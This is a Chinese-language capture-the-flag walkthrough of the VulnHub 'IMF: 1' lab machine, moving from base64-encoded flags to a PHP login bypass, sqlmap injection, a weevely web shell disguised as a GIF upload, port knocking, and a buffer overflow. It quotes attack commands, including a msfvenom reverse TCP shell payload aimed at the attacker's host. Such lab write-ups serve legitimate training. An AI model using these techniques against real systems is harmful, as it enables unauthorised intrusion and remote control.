Skip to content

Latest commit

 

History

History
385 lines (212 loc) · 15.9 KB

VulnHub-IMF: 1.md

File metadata and controls

385 lines (212 loc) · 15.9 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

靶机地址:https://www.vulnhub.com/entry/imf-1,162/

靶机难度:中级(CTF)

靶机发布日期:2016 年 10 月 30 日

靶机描述:欢迎使用 “IMF”,这是我的第一个 Boot2Root 虚拟机。IMF 是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。

目标:得到 root 权限 & 找到四个 flag.txt

请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

我们在 VM 中需要确定攻击目标的 IP 地址,需要使用 nmap 获取目标 IP 地址:

我们已经找到了此次 CTF 目标计算机 IP 地址:

192.168.182.151

nmap 扫描发现,80 端口上运行着 Apache,利用 IP 地址直接访问网页...

这边看到有三个选项卡,在第三个 contact us 源代码找到了 flag1 信息

flag1{YWxsdGhlZmlsZXM=}

这是一个 base64 值,用 bp 进行破解(最近时间紧迫,就不介绍很详细了,直接过不懂得直接来找我)

解码值:

allthefiles

继续搜索看看还有 base64 值吗,搜到还有,继续解码

eVlYUnZjZz09fQ==

这里解码不对,在回去仔细看发现是连在一起的... 继续解码

ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

解码值:

flag2{aW1mYWRtaW5pc3RyYXRvcg==}

一环套一环,还是 base 值,继续解码

aW1mYWRtaW5pc3RyYXRvcg==
解码值:imfadministrator
前面flag1解码值:allthefiles

二、web 渗透

访问目录试试

imfadministrator 目录可以访问,没用用户名密码

查看源代码,我使用 user/pass 登陆试试

无效的用户名,没信息了,回到最初页面看看 contact us 里还有啥信息

这里有三个用户:rmichaels、akeith、estone

这边下面是另外一种新知识

用 bp 去拦截他请求的数据包,在把数据越过检测

输入一个随意的账号密码

我尝试发送一个空数组作为密码,通过将密码字段名称更改为 pass[],但是 regex 函数无法通过

这边用 admin、administrator、imfadministrator 作为账号返回数值都和测试账号一样

这边尝试用 rmichaels 用户,账号是对的,密码作为一个空数组越过了,获得了里面内容 flag3

flag3 {Y29udGludWVUT2Ntcw==}
解码:continueTOcms

通过登录后,继续查看信息

继续用 php 执行 SQL 注入攻击(可以看下方链接学习更多!!)

https://stackoverflow.com/questions/1885979/php-get-variable-array-injection

我们需要找到底层目录,将截获的代码保存到本地中,进行 SQL 注入攻击

命令:sqlmap -r dayusql --risk=3 --level=5 --dbs --dump --batch --threads=10

查看到底层有 jpg 文件,将他下载下来查看信息

/images/whiteboard.jpg

发现有个二维码,666,手机微信扫一扫发现 flag4(你可以用手机试试)

flag4{dXBsb2Fkcjk0Mi5waHA=}

解码后:uploadr942.php

三、文件上传提权

发现这里可以上传文件

这边使用 weevely 来进行提权:

https://www.freebuf.com/sectool/39765.html

一般只能上传 jpg、png、gif 文件,这边我开始自己制作

搜索先用 weevely 生成 php 文件

将生成的 dayujiayou.php 代码经过拦截输入到 image 中

改名为 gif 文件

随意添加 GIF 数值!!(制作木马)

成功上传,上传完后查看源代码!!

返回值:43384891653d(木马值)

weevely http://192.168.182.151/imfadministrator/uploads/43384891653d.gif jesse

使用 weevely 链接木马,成功提到低权限,并查看到 flag5 信息

flag5{YWdlbnRzZXJ2aWNlcw==}
解码:agentservices

这里也可以用 metasploit 提权

flag5 是代理服务的意思那就跟着这条思路继续往下走....

find / -name agent &>/dev/null
/usr/local/bin/agent

这使用 >/dev/null 把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件了...

发现有代理在执行

netstat 查看端口 7788 也有代理在执行

到 / usr/local/bin 目录下查看 access_codes 发现端口序列:7482 8279 9467

这边使用 knock 敲门(基于 python3 就是撬开端口的意思)

没有的先安装

git clone https://github.com/grongor/knock.git

安装完成

这边正常敲开了靶机的 7788 端口

现在不知道这 ID 是啥

这边需要二进制文件进行反向工程并获取代理程序 ID...(真难,我这里理解原理用了好多时间...)

前面我们运行 / usr/local/bin 目录下的 agent 会需要输入 ID,这边我们从 agent 文件下手

先把他传到 kali 本地

file_download /usr/local/bin/agent /root/agent

这边查看到 agent 是 ELF32 位文件,将文件提权后执行,随意输入任意 ID,ID 不对退出后,使用 ltrace(跟踪进程调用库函数的情况)查看 agent 信息

随意输入 fgets(... 然后看到了 agent ID(这是有效的 ID,可以多次输入错误 ID 查看)

这边 ID 正确,其中选项 2 和 3 可以让用户输入内容,

如此看来是要通过缓冲区溢出 7788 端口的 agent 程序,这边用二进制修改 exp

为该程序创建一个利用程序,首先我们为 msfvenom 有效负载创建一个 shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.182.149 LPORT=6666 -f python -b "\x00\x0a\x0b"

利用二进制 py 修改 exp 进行提权

将文件写入本地 agentsploit.py 中

flag6{R2gwc3RQcm90MGMwbHM=}
Gh0stProt0c0ls

这台靶机,涵盖了知识量挺大的,从熟悉 BP、写木马、gdb 拆解、二进制、缓冲区溢出等等,花了太多时间,这一切都是值得滴,一定要自己手动做,手动写,你才知道当你熟悉了,这些不是特别难,加油!!!

由于我们已经成功得到 root 权限 & 找到 6 个 flag.txt,因此完成了 CTF 靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

星球每月都有网络安全书籍赠送、各种渗透干货分享、小伙伴们深入交流

欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

渗透攻防:

欢迎加入

大余安全

公众号